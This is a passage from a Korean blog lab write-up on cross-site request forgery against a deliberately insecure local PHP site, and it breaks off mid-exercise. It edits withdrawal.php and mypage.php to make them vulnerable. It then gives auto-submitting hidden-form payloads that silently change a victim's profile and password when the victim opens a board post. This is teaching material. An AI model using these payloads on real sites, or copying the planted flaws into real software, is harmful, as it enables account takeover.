&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 서버 주소: http://192.168.197.138/csrf/&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 관리자 계정으로 로그인되지 않은 경우라면 아래와 같이 악성 스크립트가 담긴 URL에 접속하게 되어도 잘못된 요청이라는 에러 메시지가 발생한다. (삭제할 게시글의 작성자 세션값과 현재 로그인한 사용자의 세션값이 불일치함)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MdMXZ/btsL8M8X33d/nfD37J9h7JNZIfjeaqomBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MdMXZ/btsL8M8X33d/nfD37J9h7JNZIfjeaqomBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MdMXZ/btsL8M8X33d/nfD37J9h7JNZIfjeaqomBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMdMXZ%2FbtsL8M8X33d%2FnfD37J9h7JNZIfjeaqomBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;234&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커는 관리자가 클릭할만한 게시글을 작성하여 악성 스크립트가 담긴 URL에 접속하도록 유도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bojJEr/btsL7keAdLn/eeaPztcrYTR3pW1fSS25EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bojJEr/btsL7keAdLn/eeaPztcrYTR3pW1fSS25EK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bojJEr/btsL7keAdLn/eeaPztcrYTR3pW1fSS25EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbojJEr%2FbtsL7keAdLn%2FeeaPztcrYTR3pW1fSS25EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1273&quot; height=&quot;342&quot; data-origin-width=&quot;1273&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자는 해당 게시글을 클릭 후 링크에 접속하게된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;625&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jw3N5/btsL8fctCQJ/HGEl6viOGVZq5ZKVDWGw3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jw3N5/btsL8fctCQJ/HGEl6viOGVZq5ZKVDWGw3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jw3N5/btsL8fctCQJ/HGEl6viOGVZq5ZKVDWGw3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJw3N5%2FbtsL8fctCQJ%2FHGEl6viOGVZq5ZKVDWGw3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;625&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;625&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 링크를 클릭 후 관리자가 작성했던 게시글이 삭제된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ARUgu/btsL6ziHf3r/ne5IRLgt6vhO5G88aEkjz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ARUgu/btsL6ziHf3r/ne5IRLgt6vhO5G88aEkjz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ARUgu/btsL6ziHf3r/ne5IRLgt6vhO5G88aEkjz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FARUgu%2FbtsL6ziHf3r%2Fne5IRLgt6vhO5G88aEkjz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;406&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 CSRF 공격은 다음과 같이 진행될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이스북과 네이버에 로그인 중인 사용자가 있다고 가정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자는 페이스북의 게시글 작성 요청값을 분석하여 페이스북 게시글을 무단으로 작성하는 악성 스크립트를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 공격자는 사용자가 자주 방문하는 네이버 카페에 피해자가 클릭할만한 게시글을 업로드 하면서 특정 링크에 악성 스크립트와 연결되는 서버를 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 피해자는 네이버 카페에서 게시글을 읽던 중, 스마트폰 할인, 전자기기 할인 등 피해자가 클릭할만한 게시글을 확인하게 된다. 피해자는 해당 게시글에서 할인 정보로 가장한 악성 스크립트가 담긴 URL 링크를 클릭하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 악성 스크립트에 의해 피해자의 페이스북에서 무단으로 게시글이 작성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습6-1 CSRF 공격을 통한 회원 정보 무단 수정, 패스워드 변경, 회원 탈퇴 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 정보를 무단으로 수정하기 위해서는 코드 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 withdrawal.php 파일을 복사하여 백업본을 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 withdrawal.php 파일을 CSRF 공격이 가능하도록 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; withdrawal.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738760591968&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    $db_conn = mysql_conn();

    $query = &quot;delete from members where id='{$_SESSION[&quot;id&quot;]}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    unset($_SESSION[&quot;id&quot;]);
    session_destroy();

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage.php 에서 withdrawal.php 에서 파라미터를 받는 부분도 제거를 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id=&amp;lt;?=$_SESSION[&quot;id&quot;]?&amp;gt; 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 의 withdrawal.php 부분 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738760685543&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		&amp;lt;div class=&quot;text-center&quot;&amp;gt;
			&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-info&quot; value=&quot;수정하기&quot;&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot; onclick=&quot;if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?'&quot;&amp;gt;회원탈퇴하기&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 id를 파라미터로 받았었는데, 세션값을 통해서 받게끔 코드를 수정한다.&lt;/p&gt;
&lt;pre id=&quot;code_1738761126419&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	#$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$id = $_SESSION[&quot;id&quot;];
	$gubun = $_POST[&quot;gubun&quot;];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 정보 수정을 위해서는 회원 정보 수정 시 요청값에 대해 분석해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정의 MyPage 에서 회원 정보 수정을 해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 Intecept On 후 회원정보 수정하기 버튼을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;489&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDPjRb/btsL9anWT1x/RwmjjgN8ynIRM6iYQapzQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDPjRb/btsL9anWT1x/RwmjjgN8ynIRM6iYQapzQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDPjRb/btsL9anWT1x/RwmjjgN8ynIRM6iYQapzQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDPjRb%2FbtsL9anWT1x%2FRwmjjgN8ynIRM6iYQapzQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;807&quot; height=&quot;489&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;489&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXZnGF/btsL8e5KFq3/lyiT8L71rP05Ss53m5dZtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXZnGF/btsL8e5KFq3/lyiT8L71rP05Ss53m5dZtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXZnGF/btsL8e5KFq3/lyiT8L71rP05Ss53m5dZtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXZnGF%2FbtsL8e5KFq3%2FlyiT8L71rP05Ss53m5dZtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;909&quot; height=&quot;318&quot; data-origin-width=&quot;909&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gubun, name, password, email, company 등의 파라미터를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password는 변경하지 않는 이상 비워져 있어도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738761467991&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/index.php?page=mypage&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;gubun&quot; value=&quot;action&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;희생자&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;victim@naver.com&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;company&quot; value=&quot;(주)희생자&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커는 위 CSRF 페이로드를 입력하는 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 사용자가 위 게시글을 읽게된다면, 본인의 회원정보가 희생자로 자동으로 변경되는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfLKIt/btsL8U6KzD1/3LG1HeMvnCyAyYQSkdWeKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfLKIt/btsL8U6KzD1/3LG1HeMvnCyAyYQSkdWeKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfLKIt/btsL8U6KzD1/3LG1HeMvnCyAyYQSkdWeKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfLKIt%2FbtsL8U6KzD1%2F3LG1HeMvnCyAyYQSkdWeKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;662&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4aimD/btsL8TUiWfo/wdIzkRhkUsatgrRAXpjNx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4aimD/btsL8TUiWfo/wdIzkRhkUsatgrRAXpjNx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4aimD/btsL8TUiWfo/wdIzkRhkUsatgrRAXpjNx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4aimD%2FbtsL8TUiWfo%2FwdIzkRhkUsatgrRAXpjNx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;438&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원정보를 수정할 test 계정을 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;981&quot; data-origin-height=&quot;708&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdNopD/btsL8m3Lx4V/FLPssSJVTOUoYHcuWhzv10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdNopD/btsL8m3Lx4V/FLPssSJVTOUoYHcuWhzv10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdNopD/btsL8m3Lx4V/FLPssSJVTOUoYHcuWhzv10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdNopD%2FbtsL8m3Lx4V%2FFLPssSJVTOUoYHcuWhzv10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;981&quot; height=&quot;708&quot; data-origin-width=&quot;981&quot; data-origin-height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 생성 후 회원정보 수정 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;245&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bP8RHq/btsL8cGMnDa/iqXqCCDdIQghFbUjhNfo8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bP8RHq/btsL8cGMnDa/iqXqCCDdIQghFbUjhNfo8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bP8RHq/btsL8cGMnDa/iqXqCCDdIQghFbUjhNfo8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbP8RHq%2FbtsL8cGMnDa%2FiqXqCCDdIQghFbUjhNfo8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;245&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;245&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 클릭하자마자 회원정보 수정완료라는 메시지가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyPage로 들어가니 희생자로 회원정보가 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5TMN4/btsL8cUmDvg/JWZIWRt1q9b7PRdFKbdxF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5TMN4/btsL8cUmDvg/JWZIWRt1q9b7PRdFKbdxF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5TMN4/btsL8cUmDvg/JWZIWRt1q9b7PRdFKbdxF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5TMN4%2FbtsL8cUmDvg%2FJWZIWRt1q9b7PRdFKbdxF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;952&quot; height=&quot;761&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 웹 사이트는 회원정보를 수정하기 위해 사전에 비밀번호를 입력해야하므로, 이런 방식의 CSRF 공격을 요즘 통하지 않는다. 하지만 이전에는 이런 방식으로 회원정보를 수정하였으며, 예전에 만든 웹 사이트에서는 충분히 CSRF 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 비밀번호 변경을 무단으로 하는 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 접속 후 패스워드 변경 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738763386563&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/index.php?page=mypage&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;gubun&quot; value=&quot;action&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;희생자&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;victim&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;victim@naver.com&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;company&quot; value=&quot;(주)희생자&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 공격 페이로드를 Contents 에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패스워드 변경 게시글&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFG4Ce/btsL7Rwc5sm/7fVYqpL8ZtXEhZxGmGxBcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFG4Ce/btsL7Rwc5sm/7fVYqpL8ZtXEhZxGmGxBcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFG4Ce/btsL7Rwc5sm/7fVYqpL8ZtXEhZxGmGxBcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFG4Ce%2FbtsL7Rwc5sm%2F7fVYqpL8ZtXEhZxGmGxBcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;780&quot; height=&quot;662&quot; data-origin-width=&quot;780&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 test 계정(희생자로 변경됨)에서 해당 게시글을 클릭한다.&lt;/p&gt;
